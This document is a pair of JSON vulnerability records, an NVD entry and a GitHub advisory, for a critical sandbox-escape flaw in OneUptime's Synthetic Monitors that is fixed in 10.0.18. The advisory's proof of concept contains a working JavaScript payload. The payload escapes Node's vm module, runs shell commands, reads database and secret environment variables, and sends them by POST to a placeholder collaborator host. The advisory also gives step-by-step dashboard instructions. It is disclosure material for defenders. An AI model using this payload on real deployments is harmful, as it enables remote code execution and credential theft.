{
  "affected": [
    {
      "affectedData": [
        {
          "product": "oneuptime",
          "vendor": "OneUptime",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 10.0.18"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:hackerbay:oneuptime:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "CBDE45D3-FDDB-49A9-8065-4A95B2BBDEEF",
              "versionEndExcluding": "10.0.18",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OneUptime is a solution for monitoring and managing online services. Prior to 10.0.18, OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise. This vulnerability is fixed in 10.0.18."
    },
    {
      "lang": "es",
      "value": "OneUptime es una soluci\u00f3n para monitorear y gestionar servicios en l\u00ednea. Antes de la versi\u00f3n 10.0.18, OneUptime permite a los miembros del proyecto ejecutar c\u00f3digo Playwright/JavaScript personalizado a trav\u00e9s de Monitores Sint\u00e9ticos para probar sitios web. Sin embargo, el sistema ejecuta este c\u00f3digo de usuario no confiable dentro del m\u00f3dulo vm inseguro de Node.js. Al aprovechar un escape est\u00e1ndar de la cadena de prototipos (this.constructor.constructor), un atacante puede eludir la sandbox, obtener acceso al objeto de proceso subyacente de Node.js y ejecutar comandos de sistema arbitrarios (RCE) en el contenedor oneuptime-probe. Adem\u00e1s, debido a que la sonda guarda las credenciales de la base de datos/cl\u00faster en sus variables de entorno, esto conduce directamente a un compromiso completo del cl\u00faster. Esta vulnerabilidad est\u00e1 corregida en la versi\u00f3n 10.0.18."
    }
  ],
  "id": "CVE-2026-30887",
  "lastModified": "2026-06-17T10:33:05.737",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.9,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-30887",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-03-10T14:00:41.087768Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-03-10T17:40:14.887",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-h343-gg57-2q67"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-h343-gg57-2q67"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@oneuptime/common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.0.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30887"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-07T02:30:09Z",
    "nvd_published_at": "2026-03-10T17:40:14Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nOneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js `vm` module. By leveraging a standard prototype-chain escape (`this.constructor.constructor`), an attacker can bypass the sandbox, gain access to the underlying Node.js `process` object, and execute arbitrary system commands (RCE) on the `oneuptime-probe` container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.\n\n### Details\nThe root cause of the vulnerability exists in [Common/Server/Utils/VM/VMRunner.ts](oneuptime/Common/Server/Utils/VM/VMRunner.ts) where user-supplied JavaScript is executed using `vm.runInContext()`:\n\n```typescript\nconst vmPromise = vm.runInContext(script, sandbox, { ... });\n```\n\nThe Node.js documentation explicitly warns that the `vm` module is not a security boundary and should never be used to run untrusted code. \n\nWhen a user creates a **Synthetic Monitor**, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., `isolated-vm` or a dedicated restricted container). \n\nAn attacker can use the payload `const proc = this.constructor.constructor(\u0027return process\u0027)();` to step out of the sandbox context and grab the host\u0027s native `process` object. From there, they can require `child_process` to execute arbitrary shell commands. \n\nSince the `oneuptime-probe` service runs with access to sensitive environment variables (such as `ONEUPTIME_SECRET`, `DATABASE_PASSWORD`, etc.), an attacker can trivially exfiltrate these secrets to an external server.\n\n### PoC\nThis exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least \"Project Member\" permissions.\n\n1. **Log In**: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default).\n2. **Navigate**: Go to **Monitors** \u003e **Create New Monitor**.\n3. **Monitor Type**: Select **Synthetic Monitor**.\n4. **Browser/Screen Settings**: Ensure **Chromium** is selected for \"Browser Types\" and **Desktop** is selected for \"Screen Size Types\".\n5. **Payload Injection**: Scroll down to the \"Playwright Code\" editor. Delete the default template and paste the following malicious JavaScript payload:\n\n```javascript\nreturn new Promise((resolve) =\u003e {\n    try {\n        // 1. Traverse the prototype chain to grab the host\u0027s process object\n        const proc = this.constructor.constructor(\u0027return process\u0027)();\n        \n        // 2. Load the host\u0027s child_process module \u0026 run a system command\n        const cp = proc.mainModule.require(\u0027child_process\u0027);\n        const output = cp.execSync(\u0027ls -la /usr/src/app\u0027).toString();\n        \n        // 3. (Optional) Read sensitive environment secrets\n        const secret = proc.env.ONEUPTIME_SECRET;\n        const db_pass = proc.env.DATABASE_PASSWORD;\n        \n        // 4. Exfiltrate the data via the native `http` module\n        const http_real = proc.mainModule.require(\u0027http\u0027);\n        const req = http_real.request({ \n            hostname: \u0027YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE\u0027, \n            port: 80, \n            path: \u0027/\u0027, \n            method: \u0027POST\u0027 \n        }, (res) =\u003e {\n            resolve(\"EXFILTRATION_STATUS: \" + res.statusCode);\n        });\n        \n        req.on(\u0027error\u0027, (e) =\u003e resolve(\"EXFILTRATION_ERROR: \" + e.message));\n        \n        const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });\n        req.write(payloadData);\n        req.end();\n    } catch(e) {\n        resolve(\"CRITICAL_ERROR: \" + e.message);\n    }\n});\n```\n\n6. **Save \u0026 Execute**: Click **Save**. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.\n\nOUTPUT:\n```\n{\"rce_output\":\"total 296\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:27 .\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:26 ..\\n-rw-r--r--   1 root root     16 Mar  3 18:24 .gitattributes\\n-rwxr-xr-x   1 root root    403 Mar  3 18:24 .gitignore\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 API\\n-rw-r--r--   1 root root   4103 Mar  3 18:24 Config.ts\\n-rw-r--r--   1 root root   2602 Mar  3 18:24 Dockerfile\\n-rw-r--r--   1 root root   2705 Mar  3 18:24 Dockerfile.tpl\\n-rw-r--r--   1 root root   2935 Mar  3 18:24 Index.ts\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Jobs\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 Services\\ndrwxr-xr-x   4 root root   4096 Mar  3 18:24 Tests\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Utils\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:27 build\\n-rw-r--r--   1 root root    889 Mar  3 18:24 jest.config.json\\ndrwxr-xr-x 297 root root  12288 Mar  3 18:26 node_modules\\n-rw-r--r--   1 root root    353 Mar  3 18:24 nodemon.json\\n-rw-r--r--   1 root root 203119 Mar  3 18:24 package-lock.json\\n-rw-r--r--   1 root root   1481 Mar  3 18:24 package.json\\n-rw-r--r--   1 root root  11514 Mar  3 18:24 tsconfig.json\\n\"}\n\n```\n\u003cimg width=\"1364\" height=\"470\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9e0d3013-bba5-4188-8777-6903c8f55dba\" /\u003e\n\n\n### Impact\n**What kind of vulnerability is it?** \nRemote Code Execution (RCE) / Code Injection / Sandbox Escape.\n\n**Who is impacted?** \nAny OneUptime deployment running version \u003c= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.\n\n---",
  "id": "GHSA-h343-gg57-2q67",
  "modified": "2026-03-10T18:44:03Z",
  "published": "2026-03-07T02:30:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-h343-gg57-2q67"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30887"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OneUptime/oneuptime"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OneUpTime\u0027s Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE"
}